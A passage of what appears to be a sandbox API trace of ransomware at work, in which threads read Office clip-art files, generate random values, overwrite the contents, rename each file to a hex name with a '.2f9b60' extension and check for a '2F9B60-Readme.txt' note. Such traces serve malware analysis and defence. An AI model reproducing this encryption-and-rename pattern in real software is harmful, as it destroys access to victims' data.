0x1b7d86c0 [0116.995] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="2d") returned 2 [0116.995] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="85") returned 2 [0116.995] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="7d") returned 2 [0116.995] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="34") returned 2 [0116.995] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="24") returned 2 [0116.995] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="62") returned 2 [0116.995] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="40") returned 2 [0116.995] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="1a") returned 2 [0116.995] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="4f") returned 2 [0116.995] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="1b") returned 2 [0116.995] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="47") returned 2 [0116.995] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="22") returned 2 [0116.995] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="b9") returned 2 [0116.995] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="53") returned 2 [0116.995] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="a5") returned 2 [0116.995] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="2f") returned 2 [0116.995] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="de") returned 2 [0116.995] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="cb") returned 2 [0116.995] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="b1") returned 2 [0116.995] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="8e") returned 2 [0116.995] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="03") returned 2 [0116.996] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="f0") returned 2 [0116.996] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="e8") returned 2 [0116.996] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="f9") returned 2 [0116.996] RtlInitAnsiString (in: DestinationString=0x3a4ff948, SourceString="2d857d342462401a4f1b4722b953a52fdecbb18e03f0e8f9" | out: DestinationString="2d857d342462401a4f1b4722b953a52fdecbb18e03f0e8f9") [0116.996] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a4ff918, SourceString="2d857d342462401a4f1b4722b953a52fdecbb18e03f0e8f9", AllocateDestinationString=1 | out: DestinationString="2d857d342462401a4f1b4722b953a52fdecbb18e03f0e8f9") returned 0x0 [0116.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8e50 [0116.996] wcscat (in: _Dest=0x2050cea0, _Source="2d857d342462" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2d857d342462") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2d857d342462" [0116.996] wcscat (in: _Dest=0x2050cea0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2d857d342462.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2d857d342462.2f9b60" [0116.996] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2d857d342462.2f9b60", NtPathName=0x3a4ff8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2d857d342462.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0116.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118bc0 [0116.996] NtSetInformationFile (FileHandle=0xab4, IoStatusBlock=0x3a4ff990, FileInformation=0x118bc0, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0117.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118bc0) returned 1 [0117.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46c90) returned 1 [0117.143] NtQueryInformationFile (in: FileHandle=0xab4, IoStatusBlock=0x3a4ff958, FileInformation=0x3a4ff968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3a4ff958, FileInformation=0x3a4ff968) returned 0x0 [0117.143] NtSetInformationFile (FileHandle=0xab4, IoStatusBlock=0x3a4ff958, FileInformation=0x3a4ff968, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cea0) returned 1 [0117.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8e50) returned 1 [0117.146] FlushFileBuffers (hFile=0xab4) returned 1 [0117.147] CloseHandle (hObject=0xab4) returned 1 [0117.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050cea0 [0117.148] wcscpy (in: _Dest=0x2050cea0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0117.148] wcscat (in: _Dest=0x2050cea0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0117.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0117.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cea0) returned 1 [0117.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862670) returned 1 Thread: id = 1271 os_tid = 0xdc0 [0115.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00516l.gif")) returned 0x20 [0116.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF", dwFileAttributes=0x20) returned 1 [0116.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00516l.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14b8 [0116.337] GetFileSizeEx (in: hFile=0x14b8, lpFileSize=0x25baf8a0 | out: lpFileSize=0x25baf8a0*=4682) returned 1 [0116.337] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x1246, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.337] ReadFile (in: hFile=0x14b8, lpBuffer=0x25baf820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25baf868, lpOverlapped=0x0 | out: lpBuffer=0x25baf820*, lpNumberOfBytesRead=0x25baf868*=0x4, lpOverlapped=0x0) returned 1 [0116.340] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260560 [0116.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0116.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e00 [0116.340] NtQuerySystemTime (in: CurrentTime=0x25baf760 | out: CurrentTime=0x25baf760*=132462177217966000) returned 0x0 [0116.340] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0xcaab1 [0116.340] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0x7ca3d6b7 [0116.340] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0x387da2b7 [0116.340] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0x53331fbb [0116.340] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0x4e382f64 [0116.340] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0x327d9049 [0116.340] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0x5d8f7ec0 [0116.340] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0x4c3714c4 [0116.340] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0x1038b0c6 [0116.340] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0x6d35b6de [0116.340] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0x3e2c36c3 [0116.340] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0x449fef70 [0116.340] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0x2ce14504 [0116.340] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0xbbe027a [0116.341] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0x54ca40ed [0116.341] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0x10080c00 [0116.341] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0x2ca78d69 [0116.341] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0x22c2cf8e [0116.341] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0x5a6b0e69 [0116.341] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0x606891cc [0116.341] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0x5aa86480 [0116.341] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0xa84da0b [0116.341] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0x3057df80 [0116.341] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0x5023fa02 [0116.341] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0x6d9188a0 [0116.341] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0x7e6af0ea [0116.341] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0x69061b11 [0116.341] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0xd522f0e [0116.341] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0x36fe97f4 [0116.341] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0x6cc90ab7 [0116.341] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0x4330f4bb [0116.341] RtlRandomEx (in: Seed=0x25baf750 | out: Seed=0x25baf750) returned 0x143d3cea [0116.358] ReadFile (in: hFile=0x14b8, lpBuffer=0x2016a520, nNumberOfBytesToRead=0x124a, lpNumberOfBytesRead=0x25baf750, lpOverlapped=0x0 | out: lpBuffer=0x2016a520*, lpNumberOfBytesRead=0x25baf750*=0x124a, lpOverlapped=0x0) returned 1 [0116.361] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.361] WriteFile (in: hFile=0x14b8, lpBuffer=0x20179560*, nNumberOfBytesToWrite=0x124a, lpNumberOfBytesWritten=0x25baf754, lpOverlapped=0x0 | out: lpBuffer=0x20179560*, lpNumberOfBytesWritten=0x25baf754*=0x124a, lpOverlapped=0x0) returned 1 [0116.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260560 [0116.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e00 [0116.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263e00) returned 1 [0116.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20179560) returned 1 [0116.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2016a520) returned 1 [0116.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0116.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0116.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20263e00 [0116.366] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0116.366] WriteFile (in: hFile=0x14b8, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x25baf870, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x25baf870*=0x10a, lpOverlapped=0x0) returned 1 [0116.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0116.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8683c0 [0116.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bc0 [0116.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263bc0) returned 1 [0116.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0116.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bc0 [0116.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263740 [0116.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263740) returned 1 [0116.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8683c0) returned 1 [0116.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0116.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8340 [0116.384] sprintf (in: _Dest=0x1b7d8340, _Format="%c%c" | out: _Dest="6c") returned 2 [0116.384] sprintf (in: _Dest=0x1b7d8342, _Format="%c%c" | out: _Dest="70") returned 2 [0116.384] sprintf (in: _Dest=0x1b7d8344, _Format="%c%c" | out: _Dest="80") returned 2 [0116.384] sprintf (in: _Dest=0x1b7d8346, _Format="%c%c" | out: _Dest="c1") returned 2 [0116.384] sprintf (in: _Dest=0x1b7d8348, _Format="%c%c" | out: _Dest="ff") returned 2 [0116.384] sprintf (in: _Dest=0x1b7d834a, _Format="%c%c" | out: _Dest="57") returned 2 [0116.384] sprintf (in: _Dest=0x1b7d834c, _Format="%c%c" | out: _Dest="d5") returned 2 [0116.384] sprintf (in: _Dest=0x1b7d834e, _Format="%c%c" | out: _Dest="cd") returned 2 [0116.384] sprintf (in: _Dest=0x1b7d8350, _Format="%c%c" | out: _Dest="db") returned 2 [0116.384] sprintf (in: _Dest=0x1b7d8352, _Format="%c%c" | out: _Dest="06") returned 2 [0116.384] sprintf (in: _Dest=0x1b7d8354, _Format="%c%c" | out: _Dest="2a") returned 2 [0116.385] sprintf (in: _Dest=0x1b7d8356, _Format="%c%c" | out: _Dest="a5") returned 2 [0116.385] sprintf (in: _Dest=0x1b7d8358, _Format="%c%c" | out: _Dest="da") returned 2 [0116.385] sprintf (in: _Dest=0x1b7d835a, _Format="%c%c" | out: _Dest="0a") returned 2 [0116.385] sprintf (in: _Dest=0x1b7d835c, _Format="%c%c" | out: _Dest="e0") returned 2 [0116.385] sprintf (in: _Dest=0x1b7d835e, _Format="%c%c" | out: _Dest="e5") returned 2 [0116.385] sprintf (in: _Dest=0x1b7d8360, _Format="%c%c" | out: _Dest="81") returned 2 [0116.385] sprintf (in: _Dest=0x1b7d8362, _Format="%c%c" | out: _Dest="70") returned 2 [0116.385] sprintf (in: _Dest=0x1b7d8364, _Format="%c%c" | out: _Dest="20") returned 2 [0116.385] sprintf (in: _Dest=0x1b7d8366, _Format="%c%c" | out: _Dest="66") returned 2 [0116.385] sprintf (in: _Dest=0x1b7d8368, _Format="%c%c" | out: _Dest="ce") returned 2 [0116.385] sprintf (in: _Dest=0x1b7d836a, _Format="%c%c" | out: _Dest="d1") returned 2 [0116.385] sprintf (in: _Dest=0x1b7d836c, _Format="%c%c" | out: _Dest="10") returned 2 [0116.385] sprintf (in: _Dest=0x1b7d836e, _Format="%c%c" | out: _Dest="9c") returned 2 [0116.385] RtlInitAnsiString (in: DestinationString=0x25baf8e8, SourceString="6c7080c1ff57d5cddb062aa5da0ae0e581702066ced1109c" | out: DestinationString="6c7080c1ff57d5cddb062aa5da0ae0e581702066ced1109c") [0116.385] RtlAnsiStringToUnicodeString (in: DestinationString=0x25baf8b8, SourceString="6c7080c1ff57d5cddb062aa5da0ae0e581702066ced1109c", AllocateDestinationString=1 | out: DestinationString="6c7080c1ff57d5cddb062aa5da0ae0e581702066ced1109c") returned 0x0 [0116.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9470 [0116.386] wcscat (in: _Dest=0x2050bed0, _Source="6c7080c1ff57" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\6c7080c1ff57") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\6c7080c1ff57" [0116.386] wcscat (in: _Dest=0x2050bed0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\6c7080c1ff57.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\6c7080c1ff57.2f9b60" [0116.386] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\6c7080c1ff57.2f9b60", NtPathName=0x25baf890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\6c7080c1ff57.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0116.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x119310 [0116.386] NtSetInformationFile (FileHandle=0x14b8, IoStatusBlock=0x25baf930, FileInformation=0x119310, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0117.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119310) returned 1 [0117.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47550) returned 1 [0117.102] NtQueryInformationFile (in: FileHandle=0x14b8, IoStatusBlock=0x25baf8f8, FileInformation=0x25baf908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x25baf8f8, FileInformation=0x25baf908) returned 0x0 [0117.102] NtSetInformationFile (FileHandle=0x14b8, IoStatusBlock=0x25baf8f8, FileInformation=0x25baf908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.105] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bed0) returned 1 [0117.105] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9470) returned 1 [0117.105] FlushFileBuffers (hFile=0x14b8) returned 1 [0117.109] CloseHandle (hObject=0x14b8) returned 1 [0117.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050c0e0 [0117.110] wcscpy (in: _Dest=0x2050c0e0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0117.110] wcscat (in: _Dest=0x2050c0e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0117.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0117.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c0e0) returned 1 [0117.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862720) returned 1 Thread: id = 1272 os_tid = 0xdc8 [0115.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00531l.gif")) returned 0x20 [0116.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF", dwFileAttributes=0x20) returned 1 [0116.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00531l.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe60 [0116.335] GetFileSizeEx (in: hFile=0xe60, lpFileSize=0x39fcfcc0 | out: lpFileSize=0x39fcfcc0*=8215) returned 1 [0116.335] SetFilePointerEx (in: hFile=0xe60, liDistanceToMove=0x2013, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.335] ReadFile (in: hFile=0xe60, lpBuffer=0x39fcfc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x39fcfc88, lpOverlapped=0x0 | out: lpBuffer=0x39fcfc40*, lpNumberOfBytesRead=0x39fcfc88*=0x4, lpOverlapped=0x0) returned 1 [0116.591] SetFilePointerEx (in: hFile=0xe60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f60 [0116.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202610d0 [0116.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261610 [0116.592] NtQuerySystemTime (in: CurrentTime=0x39fcfb80 | out: CurrentTime=0x39fcfb80*=132462177220462000) returned 0x0 [0116.592] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0x26af6564 [0116.592] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0x1c8bc656 [0116.592] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0x2acee1e7 [0116.592] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0x10ac41be [0116.592] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0x38600430 [0116.592] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0x71e654b5 [0116.592] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0x36b2c74b [0116.592] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0x51bce500 [0116.592] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0x7311d8ca [0116.592] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0x3a443f72 [0116.592] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0xf206008 [0116.592] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0x67c60e5c [0116.592] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0xfa912bf [0116.592] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0x18729948 [0116.592] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0xb9351c3 [0116.592] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0x6fb93f31 [0116.592] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0x4f6a01a5 [0116.592] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0x2d243da4 [0116.592] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0x17a3e90b [0116.593] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0x6bc34b9 [0116.593] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0x6c13ac35 [0116.593] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0x6cec01a1 [0116.593] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0x75fc56ed [0116.593] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0x41e3b8ae [0116.593] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0x2f66991f [0116.593] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0x4858c340 [0116.593] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0x47f138b0 [0116.593] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0xef0f302 [0116.593] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0x70effaa6 [0116.593] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0x26202c27 [0116.593] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0x435635d5 [0116.593] RtlRandomEx (in: Seed=0x39fcfb70 | out: Seed=0x39fcfb70) returned 0x6b9a7ae2 [0116.606] ReadFile (in: hFile=0xe60, lpBuffer=0x41bc85a0, nNumberOfBytesToRead=0x2017, lpNumberOfBytesRead=0x39fcfb70, lpOverlapped=0x0 | out: lpBuffer=0x41bc85a0*, lpNumberOfBytesRead=0x39fcfb70*=0x2017, lpOverlapped=0x0) returned 1 [0116.750] SetFilePointerEx (in: hFile=0xe60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.750] WriteFile (in: hFile=0xe60, lpBuffer=0x41bcc1b0*, nNumberOfBytesToWrite=0x2017, lpNumberOfBytesWritten=0x39fcfb74, lpOverlapped=0x0 | out: lpBuffer=0x41bcc1b0*, lpNumberOfBytesWritten=0x39fcfb74*=0x2017, lpOverlapped=0x0) returned 1 [0116.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261fa0 [0116.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260860 [0116.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260860) returned 1 [0116.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bcc1b0) returned 1 [0116.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bc85a0) returned 1 [0116.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0116.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c4e0) returned 1 [0116.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20260860 [0116.983] SetFilePointerEx (in: hFile=0xe60, 